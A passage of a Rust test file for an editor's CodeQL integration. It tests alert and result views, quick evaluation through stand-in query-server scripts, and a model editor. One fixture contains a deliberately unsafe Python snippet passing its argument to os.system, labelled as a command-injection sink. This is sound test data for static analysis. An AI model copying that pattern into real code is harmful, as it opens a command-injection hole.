            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        assert!(app.status.contains("2 result sets"), "{}", app.status);
        let output = app.editor.path.clone().unwrap();
        let main = std::fs::read_to_string(&output).unwrap();
        assert_eq!(main.lines().next(), Some("\"f\",\"col1\""), "{main}");
        assert!(
            !main.contains("\"c\",\"s\""),
            "only #select in the main CSV: {main}"
        );
        let calls = std::fs::read_to_string(output.with_file_name("results-calls.csv")).unwrap();
        assert_eq!(calls.lines().next(), Some("\"c\",\"s\""), "{calls}");
        assert_eq!(calls.lines().count(), 4, "{calls}");
    });
}

#[cfg(unix)]
#[test]
fn an_alert_runs_alerts_and_raw_results_open_as_csv_or_sarif_text() {
    // #578: Query History's "View Alerts (CSV)", "View Alerts (SARIF)" and
    // "View Results (CSV)".
    use crate::codeql_query::RunStatus;
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(
            bin.path(),
            "\"Calls\",,\"warning\",\"A call.\",\"/app.py\",\"4\",\"5\",\"4\",\"18\"\n",
            0,
            "",
        );
        let wait = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
            while !app.drain_codeql_doc() {
                assert!(std::time::Instant::now() < deadline, "never finished");
                std::thread::sleep(std::time::Duration::from_millis(20));
            }
        };
        let table = App::codeql_results_dir().join("1-t/results.csv");
        let alerts = App::codeql_results_dir().join("2-a/results.sarif");
        seed_codeql_history(
            tmp.path(),
            &[
                ("t.ql", 1, RunStatus::Succeeded, table.clone()),
                ("Alert.ql", 2, RunStatus::Succeeded, alerts.clone()),
            ],
        );
        std::fs::write(&alerts, r#"{"version":"2.1.0","runs":[]}"#).unwrap();

        // The newest run is the alert one.
        app.run_command(Command::CodeqlViewAlertsSarif);
        assert_eq!(app.status, "Alerts of Alert.ql (SARIF)");
        assert_eq!(app.editor.path.as_deref(), Some(alerts.as_path()));
        assert!(app.editor.sarif.is_none(), "the JSON, not the viewer");
        assert_eq!(app.editor.lines[0], r#"{"version":"2.1.0","runs":[]}"#);

        app.run_command(Command::CodeqlViewAlertsCsv);
        wait(&mut app);
        assert_eq!(app.status, "Alerts of Alert.ql (CSV)");
        let csv = alerts.with_file_name("alerts.csv");
        assert_eq!(app.editor.path.as_deref(), Some(csv.as_path()));
        let calls = std::fs::read_to_string(bin.path().join("codeql-calls.log")).unwrap();
        assert_eq!(
            calls.lines().last().unwrap(),
            format!(
                "database interpret-results --format=csv --output={} {} {}",
                csv.display(),
                tmp.path().join("dbs/app").display(),
                tmp.path().join("Alert.ql").display()
            )
        );

        // Raw results come from the BQRS the database keeps.
        app.run_command(Command::CodeqlViewResultsCsv);
        assert_eq!(
            app.status,
            "The database no longer keeps the results of Alert.ql"
        );
        let kept = tmp.path().join("dbs/app/results/me/q/Alert.bqrs");
        std::fs::create_dir_all(kept.parent().unwrap()).unwrap();
        std::fs::write(&kept, "").unwrap();
        app.run_command(Command::CodeqlViewResultsCsv);
        wait(&mut app);
        assert_eq!(app.status, "Results of Alert.ql (CSV)");
        assert_eq!(
            app.editor.path.as_deref(),
            Some(alerts.with_file_name("raw-results.csv").as_path())
        );

        // A table run has no alerts; its results are its table.
        app.open_codeql_view();
        app.codeql.select_history(1);
        app.run_command(Command::CodeqlViewAlertsCsv);
        assert_eq!(
            app.status,
            "t.ql did not produce alerts; its results are a table"
        );
        app.run_command(Command::CodeqlViewResultsCsv);
        assert_eq!(app.editor.path.as_deref(), Some(table.as_path()));
    });
}

/// #578's alert views against the real CLI: after an alert query runs,
/// its alerts are written as CSV and its raw results decoded, both from
/// what the database keeps.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-all; set CROFT_TEST_CODEQL"]
fn a_real_alert_runs_alerts_and_raw_results_are_viewed_as_csv() {
    use crate::widgets::command_palette::Command;
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(&src).unwrap();
        std::fs::write(
            src.join("app.py"),
            "def run(cmd):\n    print(cmd)\n\nrun(input())\n",
        )
        .unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("py"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let pack = tmp.path().join("q");
        std::fs::create_dir_all(&pack).unwrap();
        std::fs::write(
            pack.join("qlpack.yml"),
            "name: me/q\nversion: 0.0.1\ndependencies:\n  codeql/python-all: \"*\"\n",
        )
        .unwrap();
        let installed = std::process::Command::new(&codeql)
            .args(["pack", "install"])
            .arg(&pack)
            .output()
            .unwrap();
        assert!(
            installed.status.success(),
            "{}",
            String::from_utf8_lossy(&installed.stderr)
        );
        let query = pack.join("Alert.ql");
        std::fs::write(
            &query,
            "/**\n * @name Calls\n * @kind problem\n * @id me/calls\n * @problem.severity warning\n */\nimport python\nfrom Call c\nselect c, \"A call.\"\n",
        )
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.editor.open(&query).unwrap();
        app.run_command(Command::CodeqlRunQuery);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(900);
        while app.codeql_run.is_some() {
            app.drain_codeql_run();
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        assert!(app.status.contains("finished"), "{}", app.status);
        let wait = |app: &mut App| {
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(600);
            while !app.drain_codeql_doc() {
                assert!(std::time::Instant::now() < deadline, "never finished");
                std::thread::sleep(std::time::Duration::from_millis(50));
            }
        };
        app.run_command(Command::CodeqlViewAlertsCsv);
        wait(&mut app);
        assert_eq!(app.status, "Alerts of Alert.ql (CSV)");
        // A CSV opens in the table view; its text is the file's.
        let text = std::fs::read_to_string(app.editor.path.as_ref().unwrap()).unwrap();
        assert_eq!(text.matches("\"A call.\"").count(), 3, "{text}");
        app.run_command(Command::CodeqlViewResultsCsv);
        wait(&mut app);
        assert_eq!(app.status, "Results of Alert.ql (CSV)");
        let text = std::fs::read_to_string(app.editor.path.as_ref().unwrap()).unwrap();
        assert!(text.contains("A call."), "{text}");
        assert_eq!(text.lines().count(), 4, "a header and three calls: {text}");
    });
}

#[cfg(unix)]
#[test]
fn a_qlref_opens_the_query_it_references() {
    // #578: "open a referenced file" from a .qlref test file.
    use crate::widgets::command_palette::Command;
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let query = tmp.path().join("src/Alert.ql");
        std::fs::create_dir_all(query.parent().unwrap()).unwrap();
        std::fs::write(&query, "select 1").unwrap();
        let qlref = tmp.path().join("test/A.qlref");
        std::fs::create_dir_all(qlref.parent().unwrap()).unwrap();
        std::fs::write(&qlref, "Alert.ql\n").unwrap();
        let program = bin.path().join("codeql");
        std::fs::write(
            &program,
            format!(
                "#!/bin/sh\necho \"$*\" >> '{log}'\necho '{{ \"resolvedPath\" : \"{q}\", \"resolvedPostprocessingPaths\" : [ ] }}'\n",
                log = bin.path().join("calls.log").display(),
                q = query.display()
            ),
        )
        .unwrap();
        std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = program;
        app.run_command(Command::CodeqlOpenReferencedFile);
        assert_eq!(app.status, "Open a .qlref file first");
        app.editor.open(&qlref).unwrap();
        app.run_command(Command::CodeqlOpenReferencedFile);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
        while !app.drain_codeql_doc() {
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(20));
        }
        assert_eq!(app.status, "The query A.qlref references");
        assert_eq!(app.editor.path.as_deref(), Some(query.as_path()));
        let calls = std::fs::read_to_string(bin.path().join("calls.log")).unwrap();
        assert_eq!(calls.trim(), format!("resolve qlref {}", qlref.display()));
    });
}

/// #578's "open a referenced file" against the real CLI: a test pack's
/// `.qlref` names a query in the query pack it depends on.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-all; set CROFT_TEST_CODEQL"]
fn a_real_qlref_opens_the_query_in_the_pack_it_depends_on() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let ws = tmp.path();
        std::fs::write(
            ws.join("codeql-workspace.yml"),
            "provide:\n  - \"*/qlpack.yml\"\n",
        )
        .unwrap();
        std::fs::create_dir_all(ws.join("src")).unwrap();
        std::fs::create_dir_all(ws.join("test")).unwrap();
        std::fs::write(
            ws.join("src/qlpack.yml"),
            "name: me/src\nversion: 0.0.1\ndependencies:\n  codeql/python-all: \"*\"\n",
        )
        .unwrap();
        let query = ws.join("src/Alert.ql");
        std::fs::write(&query, "import python\nselect 1\n").unwrap();
        std::fs::write(
            ws.join("test/qlpack.yml"),
            "name: me/test\nversion: 0.0.1\ndependencies:\n  me/src: \"*\"\nextractor: python\ntests: .\n",
        )
        .unwrap();
        let qlref = ws.join("test/A.qlref");
        std::fs::write(&qlref, "Alert.ql\n").unwrap();
        for dir in ["src", "test"] {
            let out = std::process::Command::new(&codeql)
                .args(["pack", "install"])
                .current_dir(ws.join(dir))
                .output()
                .unwrap();
            assert!(
                out.status.success(),
                "{}",
                String::from_utf8_lossy(&out.stderr)
            );
        }
        let mut app = App::new(ws.to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.editor.open(&qlref).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlOpenReferencedFile);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(300);
        while !app.drain_codeql_doc() {
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        assert_eq!(app.status, "The query A.qlref references");
        assert_eq!(
            app.editor.path.as_ref().map(|p| p.canonicalize().unwrap()),
            Some(query.canonicalize().unwrap())
        );
    });
}

/// A stand-in `codeql` whose `execute query-server2` speaks the query
/// server's framed JSON-RPC: it answers `registerDatabases`, and answers
/// `runQuery` with `result` (a JSON object), writing `bqrs` to the output
/// path first. Every request is logged to `requests.jsonl`; `bqrs decode`
/// copies `csv` to its output.
#[cfg(unix)]
fn fake_query_server(dir: &std::path::Path, result: &str, csv: &str) -> std::path::PathBuf {
    use std::os::unix::fs::PermissionsExt;
    std::fs::write(dir.join("result.json"), result).unwrap();
    std::fs::write(dir.join("reply.csv"), csv).unwrap();
    let script = format!(
        r#"#!/usr/bin/env python3
import json, sys, shutil
d = {dir:?}
args = sys.argv[1:]
if args[:2] == ["execute", "query-server2"]:
    inp, out = sys.stdin.buffer, sys.stdout.buffer
    while True:
        n = None
        while True:
            line = inp.readline()
            if not line:
                sys.exit(0)
            line = line.strip()
            if not line and n is not None:
                break
            if line.lower().startswith(b"content-length:"):
                n = int(line.split(b":")[1])
        msg = json.loads(inp.read(n))
        with open(d + "/requests.jsonl", "a") as f:
            f.write(json.dumps(msg) + "\n")
        if msg["method"] == "evaluation/runQuery":
            open(msg["params"]["body"]["outputPath"], "w").write("bqrs")
            res = json.load(open(d + "/result.json"))
        else:
            res = {{}}
        body = json.dumps({{"jsonrpc": "2.0", "id": msg["id"], "result": res}}).encode()
        out.write(b"Content-Length: %d\r\n\r\n" % len(body) + body)
        out.flush()
for a in args:
    if a.startswith("--output="):
        shutil.copy(d + "/reply.csv", a[len("--output="):])
"#,
        dir = dir.display().to_string()
    );
    let program = dir.join("codeql");
    std::fs::write(&program, script).unwrap();
    std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
    program
}

#[cfg(unix)]
#[test]
fn quick_evaluation_runs_the_predicate_at_the_cursor_through_the_query_server() {
    // #578: Quick Evaluation (and its count) of the predicate under the
    // cursor, recorded in the query history like a run.
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(
            tmp.path(),
            "import python\n\npredicate isCall(Call c) { exists(c) }\n\nfrom Call c\nwhere isCall(c)\nselect c\n",
        );
        app.codeql_program = fake_query_server(
            bin.path(),
            r#"{"resultType": 0, "message": "", "evaluationTime": 384}"#,
            "\"c\"\n\"run()\"\n",
        );
        let query = tmp.path().join("q.ql");
        app.editor.cursor_row = 2;
        app.editor.cursor_col = 13;
        app.run_command(Command::CodeqlQuickEval);
        assert_eq!(
            app.status,
            "Running Quick evaluation of isCall on app\u{2026}"
        );
        wait_for_codeql(&mut app);
        assert!(app.status.contains("finished"), "{}", app.status);
        assert!(
            app.codeql.history[0].contains("Quick evaluation of isCall"),
            "{}",
            app.codeql.history[0]
        );
        let requests: Vec<serde_json::Value> =
            std::fs::read_to_string(bin.path().join("requests.jsonl"))
                .unwrap()
                .lines()
                .map(|l| serde_json::from_str(l).unwrap())
                .collect();
        assert_eq!(requests[0]["method"], "evaluation/registerDatabases");
        assert_eq!(requests[1]["method"], "evaluation/runQuery");
        let body = &requests[1]["params"]["body"];
        assert_eq!(body["queryPath"], query.display().to_string());
        assert_eq!(
            body["target"]["quickEval"]["quickEvalPos"],
            serde_json::json!({"fileName": query.display().to_string(), "line": 3, "column": 11, "endLine": 3, "endColumn": 16})
        );
        assert!(body["target"]["quickEval"].get("countOnly").is_none());

        // The count variant says so, in the request and the history.
        app.editor.open(&query).unwrap();
        app.editor.cursor_row = 2;
        app.editor.cursor_col = 13;
        app.run_command(Command::CodeqlQuickEvalCount);
        wait_for_codeql(&mut app);
        assert!(app.codeql.history[0].contains("Quick evaluation count of isCall"));
        let last: serde_json::Value = serde_json::from_str(
            std::fs::read_to_string(bin.path().join("requests.jsonl"))
                .unwrap()
                .lines()
                .last()
                .unwrap(),
        )
        .unwrap();
        assert_eq!(
            last["params"]["body"]["target"]["quickEval"]["countOnly"],
            true
        );

        // The server's refusal is the run's reason.
        std::fs::write(
            bin.path().join("result.json"),
            r#"{"resultType": 2, "message": "ERROR: The selection is not a valid quick-eval target. (q.ql:1,1-6)\n", "evaluationTime": -1}"#,
        )
        .unwrap();
        app.editor.open(&query).unwrap();
        app.editor.cursor_row = 0;
        app.editor.cursor_col = 2;
        app.run_command(Command::CodeqlQuickEval);
        wait_for_codeql(&mut app);
        assert!(
            app.status.ends_with(
                "failed: ERROR: The selection is not a valid quick-eval target. (q.ql:1,1-6)"
            ),
            "{}",
            app.status
        );

        // Unsaved edits, and nothing under the cursor, are refused first.
        app.editor.open(&query).unwrap();
        app.editor.cursor_row = 1;
        app.editor.cursor_col = 0;
        app.run_command(Command::CodeqlQuickEval);
        assert_eq!(
            app.status,
            "Put the cursor on a predicate, or select an expression"
        );
        app.editor.dirty = true;
        app.run_command(Command::CodeqlQuickEval);
        assert!(
            app.status.starts_with("Save the query first"),
            "{}",
            app.status
        );
    });
}

#[cfg(unix)]
#[test]
fn debugging_a_codeql_query_stops_at_its_first_breakpoint() {
    // #578: Debug Query quick-evaluates the predicate at the first
    // breakpoint; with none it runs the whole query.
    use crate::widgets::command_palette::Command;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(
            tmp.path(),
            "import python\n\npredicate isCall(Call c) { exists(c) }\n\nfrom Call c\nwhere isCall(c)\nselect c\n",
        );
        app.codeql_program = fake_query_server(
            bin.path(),
            r#"{"resultType": 0, "message": "", "evaluationTime": 1}"#,
            "\"c\"\n",
        );
        let query = tmp.path().join("q.ql");
        // A breakpoint on a line with no predicate is refused with why.
        app.editor
            .breakpoints
            .entry(query.clone())
            .or_default()
            .insert(7);
        app.run_command(Command::CodeqlDebugQuery);
        assert!(
            app.status
                .starts_with("No predicate at the breakpoint on line 7"),
            "{}",
            app.status
        );
        // On the `where` line: the called predicate.
        app.editor
            .breakpoints
            .entry(query.clone())
            .or_default()
            .insert(6);
        app.run_command(Command::CodeqlDebugQuery);
        assert_eq!(
            app.status,
            "Running Quick evaluation of isCall (breakpoint on line 6) on app\u{2026}"
        );
        wait_for_codeql(&mut app);
        let requests = std::fs::read_to_string(bin.path().join("requests.jsonl")).unwrap();
        let run: serde_json::Value =
            serde_json::from_str(requests.lines().last().unwrap()).unwrap();
        assert_eq!(
            run["params"]["body"]["target"]["quickEval"]["quickEvalPos"]["line"],
            6
        );
        assert_eq!(
            run["params"]["body"]["target"]["quickEval"]["quickEvalPos"]["column"],
            7
        );
        // Without breakpoints the whole query runs, as Run Query does.
        app.editor.open(&query).unwrap();
        app.editor.breakpoints.clear();
        app.run_command(Command::CodeqlDebugQuery);
        assert_eq!(app.status, "Running q.ql on app\u{2026}");
        wait_for_codeql(&mut app);
    });
}

/// #578's quick evaluation against the real CLI's query server: a
/// predicate's tuples, and their count.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-all; set CROFT_TEST_CODEQL"]
fn quick_evaluation_against_a_real_query_server() {
    use crate::widgets::command_palette::Command;
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(&src).unwrap();
        std::fs::write(
            src.join("app.py"),
            "def run(cmd):\n    print(cmd)\n\nrun(input())\n",
        )
        .unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("py"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let pack = tmp.path().join("q");
        std::fs::create_dir_all(&pack).unwrap();
        std::fs::write(
            pack.join("qlpack.yml"),
            "name: me/q\nversion: 0.0.1\ndependencies:\n  codeql/python-all: \"*\"\n",
        )
        .unwrap();
        let installed = std::process::Command::new(&codeql)
            .args(["pack", "install"])
            .arg(&pack)
            .output()
            .unwrap();
        assert!(
            installed.status.success(),
            "{}",
            String::from_utf8_lossy(&installed.stderr)
        );
        let query = pack.join("Quick.ql");
        std::fs::write(
            &query,
            "import python\n\npredicate isCall(Call c) { exists(c) }\n\nfrom Call c\nwhere isCall(c)\nselect c\n",
        )
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        let run = |app: &mut App, command: Command| {
            app.editor.open(&query).unwrap();
            app.editor.cursor_row = 2;
            app.editor.cursor_col = 13;
            app.run_command(command);
            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(900);
            while app.codeql_run.is_some() {
                app.drain_codeql_run();
                assert!(std::time::Instant::now() < deadline, "never finished");
                std::thread::sleep(std::time::Duration::from_millis(50));
            }
            assert!(app.status.contains("finished"), "{}", app.status);
            std::fs::read_to_string(app.editor.path.as_ref().unwrap()).unwrap()
        };
        let tuples = run(&mut app, Command::CodeqlQuickEval);
        assert_eq!(
            tuples.lines().count(),
            4,
            "a header and three calls: {tuples}"
        );
        let counts = run(&mut app, Command::CodeqlQuickEvalCount);
        assert!(counts.contains("\"Total tuples\",3"), "{counts}");
    });
}

/// #578's results walk against the real CLI: a table run keeps where its
/// entities are, and walking the table opens their code.
#[cfg(unix)]
#[test]
#[ignore = "needs the CodeQL CLI and codeql/python-all; set CROFT_TEST_CODEQL"]
fn a_real_results_table_is_walked_into_the_code() {
    let codeql = std::path::PathBuf::from(std::env::var("CROFT_TEST_CODEQL").unwrap());
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let src = tmp.path().join("src");
        std::fs::create_dir_all(&src).unwrap();
        let file = src.join("app.py");
        std::fs::write(
            &file,
            "import os\n\ndef run(cmd):\n    print(cmd)\n\ndef go():\n    run(input())\n",
        )
        .unwrap();
        let db = tmp.path().join("db");
        let made = std::process::Command::new(&codeql)
            .args(["database", "create", "--language=python", "--source-root"])
            .arg(&src)
            .arg(&db)
            .output()
            .unwrap();
        assert!(
            made.status.success(),
            "{}",
            String::from_utf8_lossy(&made.stderr)
        );
        crate::codeql_db::DatabaseStore {
            databases: vec![crate::codeql_db::DbEntry {
                name: String::from("py"),
                path: db,
                language: Some(String::from("python")),
                added: 0,
                former_names: Vec::new(),
            }],
            current: Some(0),
            sort_by: None,
        }
        .save(&App::codeql_db_store_path())
        .unwrap();
        let pack = tmp.path().join("q");
        std::fs::create_dir_all(&pack).unwrap();
        std::fs::write(
            pack.join("qlpack.yml"),
            "name: me/q\nversion: 0.0.1\ndependencies:\n  codeql/python-all: \"*\"\n",
        )
        .unwrap();
        let installed = std::process::Command::new(&codeql)
            .args(["pack", "install"])
            .arg(&pack)
            .output()
            .unwrap();
        assert!(
            installed.status.success(),
            "{}",
            String::from_utf8_lossy(&installed.stderr)
        );
        let query = pack.join("Functions.ql");
        std::fs::write(
            &query,
            "import python\nfrom Function f\nselect f, f.getName()\n",
        )
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.codeql_program = codeql;
        app.editor.open(&query).unwrap();
        app.run_command(crate::widgets::command_palette::Command::CodeqlRunQuery);
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(900);
        while app.codeql_run.is_some() {
            app.drain_codeql_run();
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(50));
        }
        let table = app.editor.path.clone().unwrap();
        assert!(
            crate::codeql_query::locations_path(&table).is_file(),
            "{}",
            app.status
        );
        let data = &mut app.editor.sheet.as_mut().expect("the table").sheets[0];
        data.cur_col = 0;
        data.sort_by_column(1); // by name: go, run
        data.cur_row = 0;
        // Right, then Left: back on the first row's entity, `def go`.
        app.run_command(crate::widgets::command_palette::Command::CodeqlResultsRight);
        app.run_command(crate::widgets::command_palette::Command::CodeqlResultsLeft);
        assert_eq!(
            app.editor.path.as_ref().map(|p| p.canonicalize().unwrap()),
            Some(file.canonicalize().unwrap()),
            "{}",
            app.status
        );
        assert_eq!(app.editor.cursor_row, 5, "def go is on line 6");
        app.run_command(crate::widgets::command_palette::Command::CodeqlResultsDown);
        assert_eq!(app.editor.cursor_row, 2, "def run is on line 3");
    });
}

#[cfg(unix)]
#[test]
fn the_model_editor_lists_a_databases_endpoints_by_group() {
    // #578: Method Modeling. The language pack's model-editor endpoints
    // query runs on the current database, and its endpoints are listed by
    // module or class with whether CodeQL models them; Enter goes to one.
    use crate::widgets::codeql::{Action, Hit, Line};
    use std::os::unix::fs::PermissionsExt;
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        let src = tmp.path().join("core.py");
        std::fs::write(
            &src,
            "import os\n\ndef run(cmd, shell=True):\n    return os.system(cmd)\n",
        )
        .unwrap();
        let query = bin.path().join("FrameworkModeEndpoints.ql");
        std::fs::write(&query, "select 1").unwrap();
        let rows = format!(
            r#"{{"columns":[],"tuples":[
              [{{"label":"Function run","url":{{"uri":"file://{f}","startLine":3,"startColumn":1}}}},"mylib","core","run","(cmd,shell)",false,"core.py","",{{"label":"Function"}}],
              [{{"label":"Function go","url":{{"uri":"file://{f}","startLine":3,"startColumn":1}}}},"mylib","core.Runner","go","(self,what)",true,"core.py","",{{"label":"InstanceMethod"}}]]}}"#,
            f = src.display()
        );
        std::fs::write(bin.path().join("rows.json"), rows).unwrap();
        let script = format!(
            "#!/bin/sh\necho \"$*\" >> '{log}'\ncase \"$1 $2\" in 'resolve queries') echo '[\"{query}\"]'; exit 0 ;; esac\nfor a in \"$@\"; do case \"$a\" in --output=*) cp '{rows}' \"${{a#--output=}}\" ;; esac; done\nexit 0\n",
            log = bin.path().join("calls.log").display(),
            query = query.display(),
            rows = bin.path().join("rows.json").display(),
        );
        let program = bin.path().join("codeql");
        std::fs::write(&program, script).unwrap();
        std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap();
        app.codeql_program = program;

        app.run_command(crate::widgets::command_palette::Command::CodeqlOpenModelEditor);
        assert_eq!(app.status, "Reading the endpoints of app\u{2026}");
        let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
        while !app.drain_codeql_model() {
            assert!(std::time::Instant::now() < deadline, "never finished");
            std::thread::sleep(std::time::Duration::from_millis(20));
        }
        assert_eq!(app.status, "2 endpoints of app, 1 modeled by CodeQL");
        let calls = std::fs::read_to_string(bin.path().join("calls.log")).unwrap();
        let calls: Vec<&str> = calls.lines().collect();
        assert!(
            calls[0].starts_with("resolve queries --format=json "),
            "{calls:?}"
        );
        assert!(calls[1].starts_with("query run --database="), "{calls:?}");
        assert!(calls[2].contains("--result-set=#select"), "{calls:?}");

        let rows: Vec<(Action, String)> = app
            .codeql
            .lines()
            .into_iter()
            .filter_map(|l| match l {
                Line::Action(
                    a
                    @ (Action::OpenModelEditor | Action::ModelGroup(_) | Action::ModelEndpoint(_)),
                    t,
                ) => Some((a, t)),
                _ => None,
            })
            .collect();
        let texts: Vec<&str> = rows.iter().map(|(_, t)| t.as_str()).collect();
        assert_eq!(
            texts,
            [
                "Refresh \u{b7} app (rust)",
                "\u{25be} mylib.core  0/1 modeled",
                "  \u{25cb} run(cmd,shell)",
                "\u{25be} mylib.core.Runner  1/1 modeled",
                "  \u{2713} go(self,what)",
            ]
        );
        // Enter on an endpoint goes to its code.
        app.activate_codeql(Hit::Action(rows[2].0));
        assert_eq!(app.editor.path.as_deref(), Some(src.as_path()));
        assert_eq!(app.editor.cursor_row, 2);
        assert_eq!(app.status, "run(cmd,shell) (Function): not modeled");
        // A group folds.
        app.activate_codeql(Hit::Action(rows[3].0));
        assert!(
            !app.codeql
                .lines()
                .iter()
                .any(|l| matches!(l, Line::Action(_, t) if t.contains("go(self")))
        );
    });
}

#[cfg(unix)]
#[test]
fn modeling_an_endpoint_writes_a_model_pack_that_runs_use() {
    // #578: the Model Editor models sources, sinks and summaries. A model
    // lands in a model pack under .github/codeql/extensions, and query
    // runs pass it as a model pack.
    use crate::widgets::codeql::{Action, Line};
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let bin = tempfile::tempdir().unwrap();
        let mut app = codeql_query_fixture(tmp.path(), "select 1");
        app.codeql_program = fake_codeql(bin.path(), "col0\n1\n", 0, "");
        app.codeql.model = Some(crate::codeql_model::ModelView {
            database: String::from("lib"),
            language: String::from("python"),
            endpoints: crate::codeql_model::parse_endpoints(
                r#"{"tuples":[[{"label":"Function run"},"mylib","core","run","(cmd,shell)",false,"core.py","",{"label":"Function"}]]}"#,
            ),
            ..Default::default()
        });
        app.open_codeql_view();
        app.focus = Pane::Tree;
        let row = app
            .codeql
            .lines()
            .iter()
            .position(|l| matches!(l, Line::Action(Action::ModelEndpoint(0), _)))
            .unwrap();
        app.codeql.selected = row;
        app.handle_key(key(KeyCode::Char('m'), KeyModifiers::NONE))
            .unwrap();
        let picker = app.list_picker.as_ref().expect("what to model it as");
        assert_eq!(picker.title, "Model run(cmd,shell)");
        let labels: Vec<&str> = picker.rows.iter().map(|r| r.label.as_str()).collect();
        assert_eq!(
            labels,
            [
                "source ReturnValue (remote)",
                "sink Argument[0,cmd:] (command-injection)",
                "sink Argument[1,shell:] (command-injection)",
                "summary Argument[0,cmd:] \u{2192} ReturnValue (taint)",
                "summary Argument[1,shell:] \u{2192} ReturnValue (taint)",
            ]
        );
        app.list_picker.as_mut().unwrap().selected = 1;
        app.confirm_list_picker();
        let prompt = app.input_prompt.as_ref().expect("its kind");
